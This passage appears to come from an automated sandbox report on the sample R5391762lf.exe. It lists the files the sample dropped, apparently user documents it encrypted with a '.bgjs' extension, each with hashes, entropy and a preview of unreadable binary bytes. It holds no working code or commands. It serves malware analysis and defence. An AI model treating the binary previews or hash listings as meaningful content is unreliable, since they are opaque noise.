h...G..A.........o.beC6....?......ab\|V...v.I.:...kR.F7.......tt.>:":....z.LY.<....8]...{D.4~.h.-........q.Q......@;.l...L...vF.z.#....`....S.."`..`...tM.....[t..(.@Sd~..1.......qt..b..U..$#..y.C*a4...".C......z.&G..tI..'?z.+..'....?.13...j....=...uB..{.m.

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843157204790934
Encrypted:	false
SSDEEP:	24:Hk5Zg8Ga58RYUhiSntNtGHb2APFiuF/xf6537Fu+aszVB25qdi0xYJvzXq8uWbD:E5S8GaaDXcHb2AP0e5f65k+aszVB2kpa
MD5:	0957336E3D8EB3D0205B48B13BDBAF5D
SHA1:	83850CD1B3FE40C4116A3035AFE8C3DA0C5F3863
SHA-256:	B3DD5D4A6B94F5B194B29FC858FFA21AD783A9870914C7E9B047FF6FDD6D6201
SHA-512:	112FE3443459532DB2D5DC8A5F814BA0FCBD4D6D11E6B7CD319313D384936D6B83CE3B1F7A7847ABC5369AED8DEE1573FF3E2F6DC2F93ECEAD3AFBB7454DF60B
Malicious:	false
Preview:	SFPUS..f.....,v6..#....F2...Z...j.`......+A.'.......#....0..e....k?..N.cT.t.#...p.@VUt..]....s....1..}....j...G..XT.r......@...'...D......9+.\|......;...U.....e^.W.F..Df:%...^..A.=.L..Ns.&5H2.....z.Q.K.'F9....K.!)...0.Vww...h..d......$Io.a..D....l.......e...kt././q:..'Z... .g.R......(...^.....H.\`....^N...m..C;.....Q.....c..h..t..S...n%...,r.....T.{d&.}:..x...;......?.r.#./.?...\....5..7..73i.EO...vp...K`4.b......`...zK..N].bp.....cr..D.....~..'.m.:.%.P..+T...8.v..~..2......l..e...7(..(..]..4=W....x..`.......A.}..H"..:R..W.k..S.Y}....Y.Tm.eh.6...AIN.LE.$.,..M.b..6...Q>....!....eJ.1.A......ElZ.#@.t....:nZ?..+.?a......?.DuQ.d(..3?.\+.1..t..]...ae......`]=..3.,...y.z.y)w...4^..?Z..s.]0...A.'...\!.3...A.........D...I.1Z.......c..r'&7X..u.w..........Z..,0aQ..:..r.V..A..)...mY.N+.}d./E.6.....,..E.....B.....x...D{u..WQ..&..2A..O....?%aj.[.K..P"..."Z.....rC7...@p...9t..w.M.Y/..H..).... y.#..YV:.K..'..T.5..-..a.tP.,.g..[.....w...`2.?'...

C:\Users\user\Application Data\Microsoft\Windows\Recent\UNKRLCVOHV.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847135466051393
Encrypted:	false
SSDEEP:	24:6m1WROznCDiBCrjvuB1LuX8yuuMd+A7apwwwCbZJz3D3js2eMODH6zYBXq8uWbD:v1USCDOojSuX47jDirz3u7IYBXFuED
MD5:	F61F4BE40288C7F0EA563C3EE33AAFFD
SHA1:	2E63A7FC0B3173186618F85485B3AB5E30E5B082
SHA-256:	A43A40D6A7D2B5DF2EDE71F7A3E851D1F06331525F2020E4C8188494EAD2932C
SHA-512:	A1A6D7331E107500E205EF73B9CA4F4E3F23AED26B8FC7061D4559AFBC3781F9023D4075951EF0384F9176F45426EC24431D7CF6D1659762F6B3936D23FF6C69
Malicious:	false
Preview:	UNKRLC..(...y.l.0.h[\|\......2.{<...\|.R..TcA....F.....H.].t...@.t.W..exm.\....j..Dq......k.C......S...sP..H!Vd.4.s[SX...r.!..R...E.5...Q...p...}.[4.oK.{Q..D$.N.,....G.D...yz.e.....8'.@[N..M.......`.'h....r.....[....e.....32..mi.G.......o?TZW3.n6...K..E?Y..oG..b.:.... ....W,U..[<@#.V...-....gp\.w..\M%.IX...a.>6.wOh.I.....^..{.o.&:..../.+.4\|\/........."p..pD..4.d\|...n.7..'...>.^......+i).2K.Z......g......4.....J.......M....J.&..W_.[.......<...R....F...4C.t.Y....I.'........./.....r...F.hH..=\$).0..3.?/..q/.....Wz.I......X...&....W.9.@{..._J...N.>.R..l...~.k.lu....w..".c.I....L8..`I.?h..H.s.....0...rdb..8P.#..M.{`...y...RXb.Q..t5...........s.'.4.e.......=7..E..h!........~.........N#.bJ%)L.%.Ug.x...t...AG.fv..G..f.y\|....\.+.M.,yB.Q.ZD3$m.w?.gu...zw.}.?..t.9H.\..w.$?.6.{..........0...7Ib\|w%m.0.3...0.&.w.q....h......r[G..}..D5,..........w..j..d.&...*.0!Y."{.U~....;....._<;.4..Ib..(....V./.@....!8_......1Jfr`#.......3.I:.......y...

C:\Users\user\Application Data\Microsoft\Windows\Recent\UNKRLCVOHV.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854143767548969
Encrypted:	false
SSDEEP:	24:KiCs5CGDZ/w+vDnCR4r/A198NwiYdAoP3hssfPJ02SjfKI69cMWZSYofuXq8uWbD:ysTY+2Sr/A1axChV3bSTMWprXFuED
MD5:	738545C342268463FD5155A34A3CD1FB
SHA1:	DE959C48EA483FDEACFD274C72A50F17A28F4B70
SHA-256:	F37B6E12EFDB07566B702CCD4F4F47A95F6048E3888BBE81A76FE3F1215106FA
SHA-512:	5AC68A116AA5AFF05DC32ED7FE4012067955872BD75C31D8A960143E9E1B4C8B95BC1D904E1A411488811E95284B8D9048BAA08A36601B21ED817979640E4DD6
Malicious:	false
Preview:	UNKRL......\|....Z...X.h......].>E.K.vO..\......A..T.....^!.'93....D.../K(.[.c...N.F:.]...........5..]....@..gA.......[....P1....\|..f v.Xx.I]P....y...W.......qT-..#.{....Vu:.l.D[......U.^..\.x......I..8...:.(..b..N....P..b.K3s..'..u.....7..?5\|z._Q.._%.....5......07.\:.....@..+.._g)...}.^6Q.\LP.....2....8..{#.p'..M.DA.VV."p..;........}.....z0...x.D,v.E<}...7H.......oiY.}..\0i..T ...t\..i.ByO..k2.M.S..y.9dt...}\.N...X.&pt.^`.8`?HfF.B.....>....2.>..C.^S.RAa.m^).(=....t3.......;..@..s..1..B.t.w3.?....`.(..g..sg.-.e.qpa....>Q=..)x.Q...........qy..cf.^..0.{..M..;..+1.1..L.J:.S...z..<.AQ.:.M.e...@.1_.R.F..KF.L..4.....{.v..yGx......tN.......W........(.).F...\..W...r.....!9B.o....8.VQ.Q..G../A.+...d..]..s....bQz%...a....<?....o9c5R!.:L..;\.rF,E...0q...f.?........N...2....A../Z.J...v..-..a......P.H.E.VX...d.2(.....O.A..}b...D...<-.nlw.t....FE.....n..y.m.fD..U..g,...w..G.@.-O.&.a-./..bn...:...D.">.._.y`.'....x\.U.<..Ybr..X\...C...~.u....<...

C:\Users\user\Application Data\Microsoft\Windows\Recent\VFMANBAXKI.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848909332005759
Encrypted:	false
SSDEEP:	24:IJz3GqNg9M5KW2GFlE4JeJbJL1gK15zco+v+cIuz8lCWqQ8Xq8uWbD:IJTGpRGYJbV1g8zaQCWqJXFuED
MD5:	307ED61604C9794561DB148D35819B40
SHA1:	A10CB18E1D5BCEBAA31997F60A68FD020197FB14
SHA-256:	1457B5C41E370A32D35171B3791CDF8146D3F73E31BE5CC1DC6509DD7BEE8629
SHA-512:	7C7A4351B31170C5AA786FC5867F8BE2DAE3D9A0E54C992632E59938BD10E349A79CDE8AC7726631980879B41C556A73B2B5A26160D4CD96E8BF7E4768F1C38C
Malicious:	false
Preview:	VFMAN... ......7B.b..=.=...e..+.............(.Kt..HM.7...........w...8..:.YA..u....W....\|.......w.Z".}.Kf.............-....g.v..N....P.Z..=.S.+@.c......Q})].C/Q.J}y..$.^..@.TH..[ .U...O.....?_=....>.8s.A.r..b6V..A`.z.<.2E....ww/...?!].C....d..<.....q...h......_N(.3L.~.@S.t../{..fM..... [......E......mn..1.......k_.~$...f....!..eH........a-.....,3...Q....$..XI..N...-...". G..!^..A...kH.~E{W.........e......[........#..~..S^Z..e.V.:.....c.....%....<...+..k.....SP...~2.`zv.j.~......<.$..u.;..l.4[.......F-.a@`..1..........}~...0]...........y6..N..Hss...X._...[..:n.c4g....'$..n....gX.(m>.......6<=.e...mM...q ...9..Kqm.l...5C..DSbB...0B.....Q...`..Jq>q3.=....E4z.X...Z...CN..o....sl... ..I/9.8..=...s?Fyfh./Wl...EF.!..\|..F.8S..g......AR....-.T......x..o.w.h.B].^.........X....@X.$!...mg.%....83M...........n?..l..k.\C..Y..w........40.....b.o;)[t.w..q..[...;pc...Mh.Qv.<m.7.&.&.h.X..{..f.5z.TVQ....*..;.8+.+}.F....?..b....H .......N..%.

C:\Users\user\Application Data\Microsoft\Windows\Recent\VFMANBAXKI.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861579035761683
Encrypted:	false
SSDEEP:	24:tPCgyXWRkc8pphat1cCU66/8z7dFFJmtvnGUXGRVzOcyX9WqF+4ONR4e11/pJXq+:t6gyXgV84Dc76va9HVxQqU4q3xXFuED
MD5:	54700C0191328BEA5D4C1DDCDC1E384B
SHA1:	89023DAC225F1E4CD773DCA79E7C892D49CFA204
SHA-256:	5CDF92B827FBE114B57DEC51CBC1194D7BAD344860F0D51A8971541E09B2AE74
SHA-512:	78A1BFE39B387821FE5DCADAB2DC5EECB63DE1D4E568657B479028D03705AEFF9A2755F63BF0CA158DF74C1CCEB208D1C24E2E114E1EA5E187A5B0CA9745C2CA
Malicious:	false
Preview:	VFMAN.C...]a..;.I..V.=d....^...#..u.{.a.....)..b...........t...0..-d...?.B..x.;e.y....~.......x.w.cm......V...I].<..Q.l..hg=y^'...WI:Y-...9.M..^..!;8ATEe\.&G..k7..YG&...>.d..^[3.r..&T...!.........).....0.8(.g#.).....7..{.v..M.o...1.-h.L...K.]..BX..."{%..o,.(.%S3A.S....mVe...)...Jd...E.XIl.O...)._S>_...tkx].....P.(5.`..G.?.L.N...6.7....`.........u....w....k..?..$..[.v.a'}..~.Pw.....k.\....O.\.p..d...f.q..Pe..3...n......s..T..../.g...9.1.......j.]...G...U.,.G.s"yV.[F.1Q.D6...W9m.,......L\|g..q..;.o.F....G......a..$.)...0.J"...v.~..&_Tz..}......0..$yI..f..%......)..z#.b....T.........}..N..f.]..Y..mN=...Em..4;...C....z..u......^W.r. .ew.d._..` ...My-.....!...r...z..K.}..L\.P.I~);..\|>r/.#...+..:.........!...>..omz..Oy_.....Ax...{..<..qFc%A.5Z........S.u.lB+....wDO.W.w..f4f.s......jK...a..f..b-#X.b.3..4..pB,...+...&...\|v..U......J.c.u ..ylf......3x....n..&.#n.5TOT....mz..<.y......0..T.....#...=....U.s..-.K.=.j.`k\|........1I..d'...} ...

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZQIXMVQGAH.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845980869808264
Encrypted:	false
SSDEEP:	24:Hxh1I8UmpuBt2Bid3aB1osdu69+RDfMJs/ExpIvihhJc2ojXdcv0dzgPeKXq8uWX:HbLuBt+osY69+Ex/zJ+9dzg2KXFuED
MD5:	31F37B86B1BA76D12398E48C501EAD40
SHA1:	8889F0E55C457A55131621A20F6A55A4A96DAF80
SHA-256:	928D20A15631F3BD2AAA3C4882997AD906E1EB1273CCC0B594C4F0F07F7A3365
SHA-512:	7CB137E603890C68EB9E91BD39266E9E7E1B62018244B295F13C06275B1224A1D144DA1401EC6FE0413DF7ABC2C9FDF38E91933A3F87B2B34D118255B4EB51E5
Malicious:	false
Preview:	ZQIXMbzD.a3b....Y.....S....S..uT..w..A...]./...Z...=...I.3r..F...Qu[...2.3.....4.0'..o..V...S..3+..;.dI..Jt......jB.>&.#y-...k....w..Ms6....M...3.....-.7..........KXX.8I8.$.)`..P...K......X..[......R...c.c...Dy<..I..<..;....'..H\R.h...@U.P.xe...w....B.6.7..0.@..........<k..^Y.\|..2F'>}.".../.Q....U.T.V..+...\|.~..C.8..]...T>.@.g....R...<.-.+.HK.Jo.u?h..}.X6.3.+Ik..s...5..o8o.....GP?.4...Kl.72V..%.df..v,.....&..Q.....mA...t..4...6...)......A.dk..?>84....c....Q...?\|E..K...(.ni....T...D.9......{...Z.b..q...qA..._.4..v......K....\Y..T.=:.j..)....][F...p.t..Ty."..R.....'....6.....Vh.F....l........... Z.=.......?...)K......;7.@_l.:+.....r.<-.f..-zc..."....-...~uaQ....j3W.Ia.l............v.........................F).u..y.k..U.X......b..)..DUw.7.5.;!.k]'P..Z\|.9.8.4g....K?.~^.$.V.n.w8...4,..c...5.<v..DW..O..`l....Ks.l...o........GFO$(.=....c....&F...yf.?c..X'.oC.`...-..T...1n....)Z"..@<N.:.G.8d.....H."..S.........a{lO.4z..5

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZQIXMVQGAH.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842752906258014
Encrypted:	false
SSDEEP:	24:wM1JiMX1DhK5mua1zjZFZYMD6BZXeaemMqLZSsO7+nU8ATt/ChXBmPewECBwXq8X:yMXu5muaF3ZYMD6qa5IYUPdC91zXFuED
MD5:	3C98EC7FF6E60A217F93926D113B6C17
SHA1:	FFD8E38F71DB00633C8751FEC7BB47B1F5C0A9AF
SHA-256:	8F0ADEC423E1747423693404BF1FD8D45E33CD321BE380313A75CB1AA2AC67A1
SHA-512:	26F1230C9EC9FA37E8E41C9C7B64B31A2D3B62F571A9D80B356BB078EFF195A0CBD5F16258814FA959F5AB1862B54CD2183DA6198F9F86E19BE02218625F3810
Malicious:	false
Preview:	ZQIXM....q..JJl.....M.A.x.@A......3.@.Zp..uc.5.......e.t~....../rm..<..U.2..u...f5$i..B8..(..N.Cc..... 5xp.......:..w@...=..$.d...$..3.I95\|=.w"v\.9.,y...PX@..U. .7.....3Xn.t...&..c..F.g.F.D6.J............y....JX;.-..Q.f...W$.;.~....RN...(CGl^..x..L1-..z.5.$..=.Q2.....f.......%.K....6..v\|./.E{,...v..x..A...5..1.....8^U....Nq.m@{....A#.G...........Y\|aj..y.g6E. v.B+.._#.....`.@..~3....D..\|kqZ..k.g...^..k\..{.Q...s}o..C#..=...{...<.u..M...U0...I......`.Ir.iw..?...A%T1....a1}.X..........om.Z.p...(....+.!.Ri.?..(.j...../..4`..y......]...]2qP.d.. m..x...x`<}.7k..9.uqk3q...9>.]... ....MOT.......8...PX....A..{...W..Vm).!$C..Q..m..=..B...).UJ....V...D..\|..G..Y...;'"iD>q.\....T..M..d3.../..k...I...Q.<..6....aKp...'.A./b..G.n..C.... ..O.6...Ms\|..$c.ulpt....(.Q..f.!...p....o.>.../6....TN...aH...E8.........?.....n.."....G.hv[.A#xsw.....+.=[....N..Ey..=.9w.......1H.4f.F.u..hd$..l.^.....jF...B.....m@.Wx. ..i.D..~..\|.....}..........1N.....Y?..KO4.9..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZQIXMVQGAH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863583401027252
Encrypted:	false
SSDEEP:	24:cZmI4u2sDjiASAjwztuLNTdH13yfdXcOSVh9SYG+SG49HzKOQDXq8uWbD:cZh28pkGJdV34cO9r+v4VPQDXFuED
MD5:	9362257D341BBDFC69DE6037B68AF0B7
SHA1:	21D6F665C58D74DC70752B6856032A9FEC797A8B
SHA-256:	FF64E5874003DBA6DDBA48F5061B7EB73D6A81AE78B4CF53B96E00C3DEDF88AE
SHA-512:	786DFF791A5E6C5D7F2576EADBBD1CEB5BF387A31A0476164FB46A36D66995E73EDD2D11C5F9E4DFDBD719E0BB39ADF1F43BA9384CC3B92845F2201B954959CD
Malicious:	false
Preview:	ZQIXM..{.A......~c6A_...G;....;....7Q..:.V/.{.)..A5.3.....fn....\|J .X#...../..NF......UpX...`V<..C#N.?.Qc..:.C{..1Y9"..L..].).r],X9/.s..h.&a_..x.$z..d..b..c......V...;Nooe....J..0.q...q!.J.GdQP1...V...;.^...G]..8.^D....I...b.l..n.m5.Z....Y....P..\,.UaGO{Y.kC..S...t.z.........{.-..M.n].."N.,..g.5.g....@..;..r.....h.}.}3.78....C..e.,.....G.K.r......y.A...7i..cY.....H=......w\...d.Z..U.W...w.k...,.#R+.......5..n...#...L.cY.,... ."..,..^`.(.Pff.z8..q......D..a.+.'...0\|.F\|.....2y.V..'s.{....d>e..H...{eP...\|......5.b(.T.Y..L.Db.#+.X..I..3..]..z.dK4g...+/b.t..mX&...H.(...iQ\.]=L..$t`.K.U.Z@A....A....S.Q ..=hp.6..N@..hj]9.......x.!4.{...n...Z.}.sJr.K.Y%v...J5......D......WM.>........@..x....w...l.#...z.B_..d?.\|\|=..0M.......e.+r>..7g..3.m.C..X.n....i..Z$.<......5vN......b..kQ..V....h.j=n..e<CT.;4Yf...5.".U.b........f..s9`...X.U>....y..8.B..\|.R...b3H...:..8'.e...R...&..0.E.../.......z~Cu.[.!..h.=F..8x.....1?.E[.._D..l.Ow.1....Rh....x..

C:\Users\user\Desktop\EEGWXUHVUG.png

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843026044930964
Encrypted:	false
SSDEEP:	24:Pck7W49y07j0KuFVJkX4Aueg9ka2Tx7ZoHyU2SmV+eFrBlD5zXq8uWbD:kkaDO0BFQXF8Jy7uBmVPJzXFuED
MD5:	B5673AB928F1549C0A159D401BFC6D1E
SHA1:	FECB27DA57A072926499A121C368357CE0C41D93
SHA-256:	B7A559FA2275061CBF568361E6C084A70ACC4FFE3EF3292E2A19E01E6F5FAE4C
SHA-512:	B55E3DB56C4CCA0BC637939F44EB6BAE59D3E5DE04072B48E500D406229663E8CA4930DE464BD35ECA50699EB4C2F3DD75723F73B98A0C102401D02633936216
Malicious:	false
Preview:	EEGWX.F3..N<.G+......~!..Ww.2./.Y:G7v.w....<M3.1...i.3_v:..>).......??.(n.G...t.:. ...~.;......K[..X.......G.Y.....r,\|..r.A]...j..OX...w.n....'`Z...z...&..E..CC.O....s...=}..,..R.II...&....-Ns~.&.~5.S=.1.g....y.....a.x.*...u.a..k.2..^..(...T.v....sa.vTu..".....m..(f....0^..x.$_...e.......O-.....cts+...c.,.2).....ZuG.....WCu...p.../V.O.O.$......m...4.....,U~..........eS?..G...p..6.J.9..=.e....("'.~...9..x.Z$r.'....C.w..K......>?...6m:..GS.I.......]l.hpi.J....L.j...=....+..=...e..nY....!.\...1.g.....Z.l...j.\...A^M..o.5...b...r.k.T.A.<.i....q5.y.#w...0%..G.w...\|..wMH....?....5z@.:..(.X.k.....x.......#6...N.z~g...:.Y....>h[...sw.l~.Lb......B\|..[..~....).N..4R.7L..."..1....N!.\O#d<N..Y.X.5\.C.....b(..dp..fjeI.N...T...).z.....q...g.P.".......E...]...~..:hC.u...# #..=...&t3)...M..u9.C....a5...Up...b..k.A.-#.We.K./........>b..F..,._V..}..X_....l.>.m.E.........z.k...z(...N..vFI..-..../....-....hU...'_....,.oc.....I....]/....a....d..)...R.....

C:\Users\user\Desktop\EEGWXUHVUG.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843026044930964
Encrypted:	false
SSDEEP:	24:Pck7W49y07j0KuFVJkX4Aueg9ka2Tx7ZoHyU2SmV+eFrBlD5zXq8uWbD:kkaDO0BFQXF8Jy7uBmVPJzXFuED
MD5:	B5673AB928F1549C0A159D401BFC6D1E
SHA1:	FECB27DA57A072926499A121C368357CE0C41D93
SHA-256:	B7A559FA2275061CBF568361E6C084A70ACC4FFE3EF3292E2A19E01E6F5FAE4C
SHA-512:	B55E3DB56C4CCA0BC637939F44EB6BAE59D3E5DE04072B48E500D406229663E8CA4930DE464BD35ECA50699EB4C2F3DD75723F73B98A0C102401D02633936216
Malicious:	false
Preview:	EEGWX.F3..N<.G+......~!..Ww.2./.Y:G7v.w....<M3.1...i.3_v:..>).......??.(n.G...t.:. ...~.;......K[..X.......G.Y.....r,\|..r.A]...j..OX...w.n....'`Z...z...&..E..CC.O....s...=}..,..R.II...&....-Ns~.&.~5.S=.1.g....y.....a.x.*...u.a..k.2..^..(...T.v....sa.vTu..".....m..(f....0^..x.$_...e.......O-.....cts+...c.,.2).....ZuG.....WCu...p.../V.O.O.$......m...4.....,U~..........eS?..G...p..6.J.9..=.e....("'.~...9..x.Z$r.'....C.w..K......>?...6m:..GS.I.......]l.hpi.J....L.j...=....+..=...e..nY....!.\...1.g.....Z.l...j.\...A^M..o.5...b...r.k.T.A.<.i....q5.y.#w...0%..G.w...\|..wMH....?....5z@.:..(.X.k.....x.......#6...N.z~g...:.Y....>h[...sw.l~.Lb......B\|..[..~....).N..4R.7L..."..1....N!.\O#d<N..Y.X.5\.C.....b(..dp..fjeI.N...T...).z.....q...g.P.".......E...]...~..:hC.u...# #..=...&t3)...M..u9.C....a5...Up...b..k.A.-#.We.K./........>b..F..,._V..}..X_....l.>.m.E.........z.k...z(...N..vFI..-..../....-....hU...'_....,.oc.....I....]/....a....d..)...R.....

C:\Users\user\Desktop\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841953272615392
Encrypted:	false
SSDEEP:	24:Ym/Bhbs/3ETRti+uDFe4QPtNtnlCqb+962If0PDQJqn5U4U3dz/leXq8uWbD:YmvpRtwRoPtNJEq6Y2cwQJqnsPeXFuED
MD5:	260FB5F903B01CF860094E2BE23C1F6B
SHA1:	8EC327DBE48FB24AC9E4D8EAA90DA01FCC3B9A03
SHA-256:	24B4BEEC27A4C70090312C52D009B9A6F346D32F4E0CFB54CECB7E8523684E85
SHA-512:	E7470F27C1069E400C265E33E662DC4023F733E4FDC6E603BBACFB356A1784A906D59C486F38753D2F3D9D5D18C3402F315B9E995DBA96CB896214D25C907D0F
Malicious:	true
Preview:	GRXZD..cz.m+...v.._..y..y.mZ..e...Y.8D6g)..2../..5W.....G6j.....5.2.W.dY..;G..!..........O..'6!..q......p....S......i......[JI..L4'(.....>E.n..5Ew..~....+5]H...)..Z.4.C..).15....p......7.-3n..._\|...k.........<5.....`.}A.........>q.J.,P.2.!HG.....lb..s...p.S96.._}3n.z5pD..v........E....92...8.........u..]..z8._.$.1.p..J...L..._.g7S..}.`...I..P+..<.n)].M...+..0..}..C..T.HS..Xdm.....B?c.Y...p.....lI...?.>.f.+u<....3B..&...-^..V..%.0`...%.....9.i\.W.08C......f\|..JD`?.(WQ..)....v$.....YL?..(.&Nq.I.".0ei.......g.XQ..j.Z....X.~.}.K...T....H.....SJM.K.g..`...........h..S.f..].xj..:.;.G^...cl9R.?.?-.....2.P.bmbe.)9b.....@X.;3..r.u.k ...L#.5.(+wfL.mLw.;w......@.r.Lw(..O.!.....$.@O.q....6.].QM6....us.\.y.7u.sr~.z..; oB.U.T...6B.C......Y.Rx..Ai.s,.S.[70.yR!...B.UY........m.......`.0..j.X......zuI.....C.z.mhU...DP.%.t.#......o\|..+@.n]....z.2p1.Xb...h.V.\....f..t..pw....C.M..%{.T.\.y.R.k,....0......>..=9..RP...C.[)n.).~+.M.....,@..h..T.A.9..s./...\}g.

C:\Users\user\Desktop\GRXZDKKVDB.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841953272615392
Encrypted:	false
SSDEEP:	24:Ym/Bhbs/3ETRti+uDFe4QPtNtnlCqb+962If0PDQJqn5U4U3dz/leXq8uWbD:YmvpRtwRoPtNJEq6Y2cwQJqnsPeXFuED
MD5:	260FB5F903B01CF860094E2BE23C1F6B
SHA1:	8EC327DBE48FB24AC9E4D8EAA90DA01FCC3B9A03
SHA-256:	24B4BEEC27A4C70090312C52D009B9A6F346D32F4E0CFB54CECB7E8523684E85
SHA-512:	E7470F27C1069E400C265E33E662DC4023F733E4FDC6E603BBACFB356A1784A906D59C486F38753D2F3D9D5D18C3402F315B9E995DBA96CB896214D25C907D0F
Malicious:	false
Preview:	GRXZD..cz.m+...v.._..y..y.mZ..e...Y.8D6g)..2../..5W.....G6j.....5.2.W.dY..;G..!..........O..'6!..q......p....S......i......[JI..L4'(.....>E.n..5Ew..~....+5]H...)..Z.4.C..).15....p......7.-3n..._\|...k.........<5.....`.}A.........>q.J.,P.2.!HG.....lb..s...p.S96.._}3n.z5pD..v........E....92...8.........u..]..z8._.$.1.p..J...L..._.g7S..}.`...I..P+..<.n)].M...+..0..}..C..T.HS..Xdm.....B?c.Y...p.....lI...?.>.f.+u<....3B..&...-^..V..%.0`...%.....9.i\.W.08C......f\|..JD`?.(WQ..)....v$.....YL?..(.&Nq.I.".0ei.......g.XQ..j.Z....X.~.}.K...T....H.....SJM.K.g..`...........h..S.f..].xj..:.;.G^...cl9R.?.?-.....2.P.bmbe.)9b.....@X.;3..r.u.k ...L#.5.(+wfL.mLw.;w......@.r.Lw(..O.!.....$.@O.q....6.].QM6....us.\.y.7u.sr~.z..; oB.U.T...6B.C......Y.Rx..Ai.s,.S.[70.yR!...B.UY........m.......`.0..j.X......zuI.....C.z.mhU...DP.%.t.#......o\|..+@.n]....z.2p1.Xb...h.V.\....f..t..pw....C.M..%{.T.\.y.R.k,....0......>..=9..RP...C.[)n.).~+.M.....,@..h..T.A.9..s./...\}g.

C:\Users\user\Desktop\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858173435337885
Encrypted:	false
SSDEEP:	24:J90NpkdLXw1HAUK5pYFRVNDJrZcJQPbHyN+Y1MydDHDjkh5Qet0jz/DXq8uWbD:JSPkdTEAdpYxrWGzSBHBchf+jvXFuED
MD5:	9D773BC2254AD98FD9D382B5639B88E9
SHA1:	8C5B10F92F5B6010238AE4E045EE0E36966E0510
SHA-256:	DD9F7F83AAC1C6FC9B36A1C67E176205FB60B99C97841ECDC658BB6068D38515
SHA-512:	E55283B6464B8E861E8443C35BC67C7B99B01FE5EB5A797DE6CE00E734D78916DE9F49D24800F1AF17339559B4A037C0C87F7F10A205D7F2C3D66040109C1482
Malicious:	true
Preview:	IPKGE.<6....W..xo4.4..UDfY.1..(.X..Y...zw~.?'.p........[..8n,w..&6..lK.@.C...F..e.[.z.\.s\|..1..z......I....=......z..[].L.B.....O.....,..............w.f.@.1&.v..t...eq.....'..c.x.n.J$..:.5J..........O.4..<../..}GB.e=f...8.{.V.$..PF.\...HU0.x.Xe..U....T..)6.....)?..d....Fit!...W..OFBW.x.N>~&v.8.y.......`..W.r.w.......%s../.w..~..D........./}2. z...p......%=..<L.sg.c..X_"h`.._C.....=.Y.D....."...w(....3.0......C.z.....j..H. Q......g.....9...............9.e..........+.L.3.mn..k[.0.`8...;'....\....rP#OZ%..%...b.3.r*.4....<.../......9......e..op.....-...6.......}."..4n..>....5.e..........Yw..L...ac+Le[._;!...T..b.(..A&.8.?........}.s.....?Np'.c$....J.....H=v..(7.N..{...(].........jx.jhw4.(.2.U...G..-.O@.....]4...00.3^..I\.cG...jq.....y.".B.LQ.....U...l......X..`.......}}.".t.Tk.K..s..#.....T.'V.....v.ES.........G....;y..^2\|[(\|5.q.~.'C..Q..PH/,`.r..=$..1.7.s.mo...q.2.......D...R.g.R+=%q......5..I.@o....{.$S..g...y...A...b.q7..r.(.

C:\Users\user\Desktop\IPKGELNTQY.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858173435337885
Encrypted:	false
SSDEEP:	24:J90NpkdLXw1HAUK5pYFRVNDJrZcJQPbHyN+Y1MydDHDjkh5Qet0jz/DXq8uWbD:JSPkdTEAdpYxrWGzSBHBchf+jvXFuED
MD5:	9D773BC2254AD98FD9D382B5639B88E9
SHA1:	8C5B10F92F5B6010238AE4E045EE0E36966E0510
SHA-256:	DD9F7F83AAC1C6FC9B36A1C67E176205FB60B99C97841ECDC658BB6068D38515
SHA-512:	E55283B6464B8E861E8443C35BC67C7B99B01FE5EB5A797DE6CE00E734D78916DE9F49D24800F1AF17339559B4A037C0C87F7F10A205D7F2C3D66040109C1482
Malicious:	false
